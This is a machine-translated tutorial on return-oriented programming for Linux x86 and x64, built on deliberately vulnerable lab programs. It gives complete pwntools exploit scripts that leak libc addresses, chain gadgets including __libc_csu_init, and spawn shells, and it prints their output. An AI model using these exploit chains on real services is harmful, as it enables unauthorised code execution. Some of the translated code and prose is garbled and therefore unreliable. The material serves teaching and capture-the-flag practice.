Steamed rice. 2015/07/31 10:52

0 x00 sequence


ROP stands for return-oriented programming. It is an advanced memory attack technique that can be used to bypass various common defenses of modern operating systems (such as memory non-execution and code signing). Last time we focused on ROP attacks on Linux_x86.

Step by step to learn ROP linux_x86 of http://drops.wooyun.org/tips/6597

In this tutorial we will cover the supplement of the previous article and the ROP utilization method of Linux_X64, welcome to continue learning.

In addition this paper involves in my lot code to download: https://github.com/zhengmin1989/ROP_STEP_BY_STEP

0x01 Memory Leak & DynELF – ROP attack without getting target libc.so


Note that this section complements the previous article and covers ROP for x86. Last time we looked at how to bypass DEP and ASLR protection on x86 using ROP. But we need to get libc.so or the specific Linux version number on the target machine to calculate the corresponding offset. So what do we do if we can’t get libc.so on the target machine? In a memory leak, you need to search the memory to find the address of system().

Here we use the DynELF module provided by PwnTools for memory search. First, we need to implement a leak(address) function that retrieves at least 1 byte of data from an address. Take the Level2 program from our previous article for example. The leak function should be implemented like this:

#! python def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4)  print "%#x => %s" % (address, (data or '').encode('hex')) return dataCopy the code

Then call d = DynELF(leak, elf= elf (‘./level2’)) with this function as an argument to initialize the DynELF module. You can then get the memory address of system() in libc.so by calling system_addr = d.lookup(‘system’, ‘libc’).

Note that the DynELF module can only get the memory address of system(), but not the memory address of the string “/bin/sh”. So, for payload, we need to call read() to write “/bin/sh” into the.bss segment of our program. The. BSS section is used to store the value of a global variable, fixed address, and can be read and written. Readelf -s level2 to get the address of the BSS segment.

#! bash $ readelf -S level2 There are 30 section headers, starting at offset 0x1148: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al...... [23] .got.plt PROGBITS 08049ff4 000ff4 000024 04 WA 0 0 4 [24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 [25] . BSS NOBITS 0804A020 001020 000008 00 WA 00 4 [26]. Comment PROGBITS 00000000 001020 00002A 01 MS 001......Copy the code

Since we call system(” /bin/sh “) after read() and read() takes three arguments, we need a pop pop pop RET gadget to balance the stack. This gadget is very easy to find and can be easily found using objdump. PS: We’ll look at finding more complex gadgets with tools in a later section.

After obtaining the address of system() from DynELF, we write “/bin/sh” to the.bss segment with read, and finally call system(.bss) to execute “/bin/sh”. The final exp is as follows:

#! python #! /usr/bin/env python from pwn import * elf = ELF('./level2') plt_write = elf.symbols['write'] plt_read = elf.symbols['read'] vulfun_addr = 0x08048474 def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4) Print "% # x = > % s" % (address, (data or "'.) encode (' hex)) return data p = process ('/level2 stores') # p = remote (127.0.0.1, 10002) d = DynELF(leak, elf=ELF('./level2')) system_addr = d.lookup('system', 'libc') print "system_addr=" + hex(system_addr) bss_addr = 0x0804a020 pppr = 0x804855d payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr) #ss = raw_input() print "\n###sending payload2 ... ###" p.send(payload2) p.send("/bin/sh\0") p.interactive()Copy the code

The result is as follows:

#! bash $ python exp4.py [+] Started program './level2' 0x8048000 => 7f454c46 [+] Loading from '/home/mzheng/CTF/level2': Done 0x8049ff8 => 18697eb7 [+] Resolving 'system' in 'libc.so': 0xb77e6918 0x8049f28 => 01000000 0x8049f30 => 0c000000 0x8049f38 => 0d000000 0x8049f40 => f5feff6f 0x8049f48 => 05000000  0x8049f50 => 06000000 0x8049f58 => 0a000000 0x8049f60 => 0b000000 0x8049f68 => 15000000 0x8049f70 => 03000000 0x8049f74  => f49f0408 0xb77e691c => c5eb7db7 0xb77debc5 => 0069203d 0xb77e6924 => 086c7eb7 0xb77e6c0c => c5eb7db7 0xb77e6c14 => 58387cb7 0xb77c385c => 38387cb7 0xb77c3838 => 2f6c6962 0xb77c383c => 2f693338 0xb77c3840 => 362d6c69 0xb77c3844 => 6e75782d 0xb77c3848 => 676e752f 0xb77c384c => 6c696263 0xb77c3850 => 2e736f2e 0xb77c3854 => 36000000 0xb77c3858 => 007060b7 0xb7607000 => 7f454c46 0xb77c3860 => 7cdd7ab7 0xb7607004 => 01010100 0xb77add7c => 01000000 0xb77add84 => 0e000000 0xb77add8c => 0c000000 0xb77add94 => 19000000 0xb77add9c => 1b000000 0xb77adda4 => 04000000 0xb77addac => f5feff6f 0xb77addb0 => b87160b7 0xb77addb4 => 05000000 0xb77addb8 => 584161b7 0xb77addbc => 06000000 0xb77addc0 => 38ae60b7 0xb76071b8 => f3030000 0xb76071bc => 09000000 0xb76071c0 => 00020000 0xb7608390 => 8e050000 0xb7609fa8 => 8ae4ee1c 0xb7610718 => 562f0000 0xb76170ae => 73797374 0xb76170b2 => 656d0074 0xb761071c => 60f40300 system_addr=0xb7646460 ###sending payload2 ... ### [*] Switching to interactive mode $ whoami mzhengCopy the code

0x02 Differences between Linux_64 and Linux_86


There are two main differences between Linux_64 and Linux_86: first, the range of memory addresses has changed from 32-bit to 64-bit. However, the available memory address cannot be larger than 0x00007FFFFFFFFFFF, otherwise an exception will be thrown. Second, the way function arguments are passed has changed. In x86 arguments are stored on the stack, but in X64 the first six arguments are stored on the stack in order of RDI, RSI, RDX, RCX, R8, and R9, if there are more arguments.

Let’s take the actual program as an example to explain, Level3.c content is as follows:

#! c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void callsystem() { system("/bin/sh"); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }Copy the code

We open ASLR and compile it as follows:

#! bash $ gcc -fno-stack-protector level3.c -o level3Copy the code

By analyzing the source code, we can see that it is very easy to get the shell of this program, just control the PC pointer to jump to the address of the callSystem () function. Because the address of the program itself is not random in memory, there is no need to worry about the function address changing. The next step is to find the overflow point. We’ll use the old method to generate a position string:

#! bash $python pattern.py create 150 > payload $ cat payload Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9 Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Copy the code

Then run GDB./level3 and enter this string causing the program to crash.

#! bash (gdb) run < payload Starting program: /home/mzheng/CTF/level3 < payload Hello, World Program received signal SIGSEGV, Segmentation fault. 0x00000000004005b3 in vulnerable_function ()Copy the code

It is possible that the PC pointer does not point to an address such as 0x41414141, but lies in the vulnerable_function() function. Why is that? The reason is that the memory address used by the program mentioned earlier cannot be greater than 0x00007FFFFFFFFfff, otherwise an exception will be thrown. However, even though the PC cannot jump to that address, we can still calculate the overflow point through the stack. Since RET is equivalent to the “pop RIP” instruction, we can just look at the number at the top of the stack to know where the PC jumps to.

#! bash (gdb) x/gx $rsp 0x7fffffffe188: 0x3765413665413565Copy the code

In GDB, x is an instruction to view memory, and subsequent Gx values are displayed in 64-bit hexadecimal format. We can then use pattern.py to calculate overflow points.

#! bash $ python pattern.py offset 0x3765413665413565 hex pattern decoded as: e5Ae6Ae7 136Copy the code

You can see that the overflow point is 136 bytes. Let’s construct payload again and jump to an address less than 0x00007fffffffffff to see if we can control the POINTER to the PC this time.

#! bash python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload (gdb) run < payload Starting program: /home/mzheng/CTF/level1 < payload Hello, World Program received signal SIGSEGV, Segmentation fault. 0x0000464544434241 in ?? (a)Copy the code

You can see that we have successfully controlled the pointer to the PC. So the final exp looks like this:

#! python #! /usr/bin/env python from PWN import * elf = elf ('level3') p = process('./level3') #p = remote('127.0.0.1',10001) callsystem = 0x0000000000400584 payload = "A"*136 + p64(callsystem) p.send(payload) p.interactive()Copy the code

0x03 Use Tools to Find Gadgets


We mentioned earlier that x86 parameters are stored on the stack, but in X64 the first six parameters are stored in the RDI, RSI, RDX, RCX, R8, and R9 registers, in order, if there are more parameters, they are stored on the stack. So we need to look for something like Pop RDI; Ret’s gadget. For simple gadgets, you can find them in objdump. However, when looking for complex gadgets, it is often a good idea to use gadgets tools. Some of the better known tools are:

ROPEME: https://github.com/packz/ropeme
Ropper: https://github.com/sashs/Ropper
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
rp++: https://github.com/0vercl0k/rp
Copy the code

All of these tools have similar functions, so find one that you can use.

Level4.c: level4.c: level4.c: level4.c: level4.c: level4.c: level4.c

#! c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr() { void* handle = dlopen("libc.so.6", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { systemaddr(); write(1, "Hello, World\n", 13); vulnerable_function(); }Copy the code

Compilation method:

#! bash gcc -fno-stack-protector level4.c -o level4 -ldlCopy the code

First, the target program prints the address of system() in memory, so we don’t need to worry about ASLR, just need to trigger buffer overflow and use ROP to execute system(” /bin/sh “). But to call system(” /bin/sh “), we need to find a gadget that points the value of rdi to the address of “/bin/sh”. So let’s use ROPGadget to search all the pop ret gadgets in level4.

#! bash $ ROPgadget --binary level4 --only "pop|ret" Gadgets information ============================================================ 0x00000000004006d2 : pop rbp ; ret 0x00000000004006d1 : pop rbx ; pop rbp ; ret 0x0000000000400585 : ret 0x0000000000400735 : ret 0xbdb8Copy the code

The result is not good because the program is small and the pop RDI is not found in the target program. Ret this gadget. What to do? The solution was to look for bugs in Libc.so. Because the program itself loads libc.so into memory and prints the address of system(). Therefore, after finding the gadgets, system() can calculate the offset and call the corresponding gadgets.

#! bash $ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi 0x000000000001f27d : pop rdi ; pop rbp ; ret 0x00000000000205cd : pop rdi ; pop rbx ; pop rbp ; ret 0x0000000000073033 : pop rdi ; pop rbx ; ret 0x0000000000022a12 : pop rdi ; retCopy the code

This time we managed to find “Pop Rdi; Ret “this gadget. So we can construct our ROP chain.

#! bash payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)Copy the code

In addition, since we only need to call the system() function once to get the shell, we can also search for gadgets without RET to construct the ROP chain.

#! bash $ ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi 0x000000000012da1d : call qword ptr [rdi] 0x0000000000187113 : call qword ptr [rdx + rdi + 0x8f10001] 0x00000000000f1f04 : call rdi 0x00000000000f4739 : pop rax ; pop rdi ; call rax 0x00000000000f473a : pop rdi ; call raxCopy the code

0x00000000000F4739: pop rax; pop rdi ; Call Rax can also accomplish our goals. First, assign rax to the address of system(), rdi to the address of “/bin/sh”, and then call Call rax.

#! python payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)Copy the code

So both of these ROP chains can accomplish our goal, just choose one to attack. The final exp is as follows:

#! python #! /usr/bin/env python from PWN import * libc = ELF('libc.so.6') p = process('./level4') #p = remote('127.0.0.1',10001) binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system'] print "binsh_addr_offset = " + hex(binsh_addr_offset) pop_ret_offset = 0x0000000000022a12 - libc.symbols['system'] print "pop_ret_offset = " + hex(pop_ret_offset) #pop_pop_call_offset = 0x00000000000f4739 - libc.symbols['system'] #print "pop_pop_call_offset = " +  hex(pop_pop_call_offset) print "\n##########receiving system addr##########\n" system_addr_str = p.recvuntil('\n') system_addr = int(system_addr_str,16) print "system_addr = " + hex(system_addr) binsh_addr = system_addr + binsh_addr_offset print "binsh_addr = " + hex(binsh_addr) pop_ret_addr = system_addr + pop_ret_offset print "pop_ret_addr = " + hex(pop_ret_addr) #pop_pop_call_addr = system_addr + pop_pop_call_offset #print "pop_pop_call_addr =  " + hex(pop_pop_call_addr) p.recv() payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) #payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) print "\n##########sending payload##########\n" p.send(payload) p.interactive()Copy the code

The running results are as follows:

#! bash $ python exp6.py [+] Started program './level4' binsh_addr_offset = 0x134d41 pop_ret_offset = -0x22d1e ##########receiving system addr########## system_addr = 0x7f6f754d8730 binsh_addr = 0x7f6f7560d471 pop_ret_addr = 0x7f6f754b5a12 ##########sending payload########## [*] Switching to interactive mode $ whoami mzhengCopy the code

0 x04 general gadgets


Although the source code of many programs is different, the initialization process is the same. Therefore, for these initialization functions, we can extract some common gadgets and use them. To achieve what we want to achieve.

Level3 and level4 have left some helper functions in the program to make it easier for you to learn about ROP under x64. The target program Level5.c is as follows:

#! c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }Copy the code

This program has only one buffer overflow and no helper functions to use, so we need to find the value of system() to leak memory information, then pass “/bin/sh” to the.bss section, and finally call system(” /bin/sh “). Since the original program uses write() and read() functions, we can print the address of write.got by writing () to calculate the address of libc.so in memory. The problem is how write() arguments should be passed, because the first six arguments on X64 are not stored on the stack, but are passed through registers. We didn’t find gadgets like Pop Rdi, RET, Pop Rsi, and RET using Ropgadgets. So what should we do? There are some versatile gadgets available under the X64. For example, let’s look at __libc_csu_init() with objdump -d./level5. In general, whenever a program calls libc.so, it will have this function to initialize the libc.

#! bash 00000000004005a0 <__libc_csu_init>: 4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp) 4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp) 4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end> 4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end> 4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp) 4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp) 4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp) 4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp) 4005cc: 48 83 ec 38 sub $0x38,%rsp 4005d0: 4c 29 e5 sub %r12,%rbp 4005d3: 41 89 fd mov %edi,%r13d 4005d6: 49 89 f6 mov %rsi,%r14 4005d9: 48 c1 fd 03 sar $0x3,%rbp 4005dd: 49 89 d7 mov %rdx,%r15 4005e0: e8 1b fe ff ff callq 400400 <_init> 4005e5: 48 85 ed test %rbp,%rbp 4005e8: 74 1c je 400606 <__libc_csu_init+0x66> 4005ea: 31 db xor %ebx,%ebx 4005ec: 0f 1f 40 00 nopl 0x0(%rax) 4005f0: 4c 89 fa mov %r15,%rdx 4005f3: 4c 89 f6 mov %r14,%rsi 4005f6: 44 89 ef mov %r13d,%edi 4005f9: 41 ff 14 dc callq *(%r12,%rbx,8) 4005fd: 48 83 c3 01 add $0x1,%rbx 400601: 48 39 eb cmp %rbp,%rbx 400604: 75 ea jne 4005f0 <__libc_csu_init+0x50> 400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx 40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp 400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12 400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13 40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14 40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15 400624: 48 83 c4 38 add $0x38,%rsp 400628: c3 retqCopy the code

We can see that using the code at 0x400606 we can control the values of RBX, RBP, R12, R13, R14 and R15, and then using the code at 0x4005F0 we assign the values of R15 to RDX, R14 to RSI,r13 to EDI, Call qword PTR [r12+ RBX *8] is then called. By setting RBX to 0 and carefully constructing the stack, we can control the PC to call the desired function (such as the write function). After executing the call qword PTR [r12+ RBX *8], the program evaluates RBX +=1 and compares the values of RBP and RBX. If they are equal, it continues and ret to the address where we want to continue. So to make the values of RBP and RBX equal, we can set the value of RBP to 1 because we already set the value of RBX to 0. So that’s the idea. Let’s go ahead and construct an ROP chain.

We first construct payload1 and print write’s address in memory with write(). Note that our gadget is a call qword PTR [r12+ RBX *8], so we should use the address of write.got instead of write.plt. And in order to return to the original program and reuse the vulnerability of buffer overflow, we need to continue to overwrite the data on the stack until the return value is overwritten into the main function of the target function.

#! bash #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main)Copy the code

When exp receives the memory address of write(), we can calculate the memory address of system(). Then we construct payload2, using read() to read the address of system() and “/bin/sh” into.bSS segment memory.

#! bash #rdi= edi = r13, rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16) payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main)Copy the code

Finally we construct payload3 and call the system() function to execute “/bin/sh”. Note that the address of system() is stored at the beginning of the.bss segment, and the address of “/bin/sh” is stored at the beginning of the.bss segment +8 bytes.

#! bash #rdi= edi = r13, rsi = r14, rdx = r15 #system(rdi = bss_addr+8 = "/bin/sh") payload3 = "\x00"*136 payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload3 += "\x00"*56 payload3 += p64(main)Copy the code

The final exp is as follows:

#! python #! /usr/bin/env python from pwn import * elf = ELF('level5') libc = ELF('libc.so.6') p = process('./level5') #p = Remote ('127.0.0.1',10001) got_write = elf.got['write'] print "got_write: " + hex(got_write) got_read = elf.got['read'] print "got_read: " + hex(got_read) main = 0x400564 off_system_addr = libc.symbols['write'] - libc.symbols['system'] print "off_system_addr: " + hex(off_system_addr) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload1#############\n" p.send(payload1) sleep(1) write_addr = u64(p.recv(8)) print "write_addr: " + hex(write_addr) system_addr = write_addr - off_system_addr print "system_addr: " + hex(system_addr) bss_addr=0x601028 p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16) payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main) print "\n#############sending payload2#############\n" p.send(payload2) sleep(1) p.send(p64(system_addr)) p.send("/bin/sh\0") sleep(1) p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15 #system(rdi = bss_addr+8 = "/bin/sh") payload3 = "\x00"*136 payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload3 += "\x00"*56 payload3 += p64(main) print "\n#############sending payload3#############\n" sleep(1) p.send(payload3) p.interactive()Copy the code

Read () truncates the payload when the program’s IO is redirected to the socket. If the packet is too large, read() truncates the payload. At this point, it takes a few more attempts to succeed. For remote attacks, make sure the ping value is small enough (LAN). The final result is as follows:

#! bash $ python exp7.py [+] Started program './level5' got_write: 0x601000 got_read: 0x601008 off_system_addr: 0xa1c40 #############sending payload1############# write_addr: 0x7f79d5779370 system_addr: 0x7f79d56d7730 #############sending payload2############# #############sending payload3############# [*] Switching to interactive mode $ whoami mzhengCopy the code

0x05 EDB debugger


While GDB is powerful, the command line interface is not friendly to many people. Many people who learn To debug Windows are used to ollyDBG and then touch GDB. In fact, there is a debugging tool similar to OllyDBG in Linux, that is EDB-debugger. Here is the download address of edB, please refer to readme for specific compilation:

EDB-debugger https://github.com/eteran/edb-debugger
Copy the code

Let’s take level5 as an example to explain how to use EDB. First, attach the process and set a break point. We know that when we attack with the exp. Py script, the script will run all the time and we won’t have enough time to mount it. To debug, we need to pause the script and then mount it. Pausing is as simple as adding “raw_input()” to the script. Let’s say we want to pause the script before sending payload1:

ss = raw_input()
print "\n#############sending payload1#############\n"
p.send(payload1)
Copy the code

This way, when the script runs, it stops at the raw_input() line and waits for user input. At this point we can start the EDB to mount.

Mounting using EDB is very simple, just enter the process name click OK.

Once mounted, breakpoints can be set. Start by pressing “CTRL + G” in the debug window to jump to the target address, which we set to 0x400610, which is the address of the first gadget.

We then double-click on the address 0x400610 to see a red dot indicating that we have successfully set the breakpoint. Then press “F9” or click “Run” to continue the program.

Although the program continues, the script continues to wait for input from the user. Simply press Enter on the command line and the program continues, then pauses at the breakpoint 0x400610.

Then we can press “F8” or “F7” for single step debugging, the main window will show the PC will execute the command and the result after execution. You will see the values of each register on the right. Note that by right-clicking on the value of a register (such as RSP), you can select “Follow in dump”, and then you can see the corresponding data at that address in the Data Dump window. In addition, EDB also supports dynamic modification of memory data. After selecting data, you can right-click and select “Edit Bytes” to dynamically modify the selected data.

These are just some of the basic EDB operations, and we will continue to introduce some advanced EDB uses with other examples in later chapters.

0 x06 summary


Arguably ROP’s greatest art lies in its ever-changing assemblage of gadgets. For space reasons, we will leave the techniques of finding and combining gadgets to a later article. Welcome to continue your study.

0x07 Resources


  1. Stack overflow under 64-bit Linux
  2. Week4- BigData – The Most detailed Writeup!

0xFF Copyright notice


This article appears exclusively on cloud Knowledge (drops.wooyun.org). This article is not authorized to any units and individuals. If this article is reproduced, it must be reproduced without authorization, which is a serious infringement of intellectual property rights. This unit will investigate legal responsibility.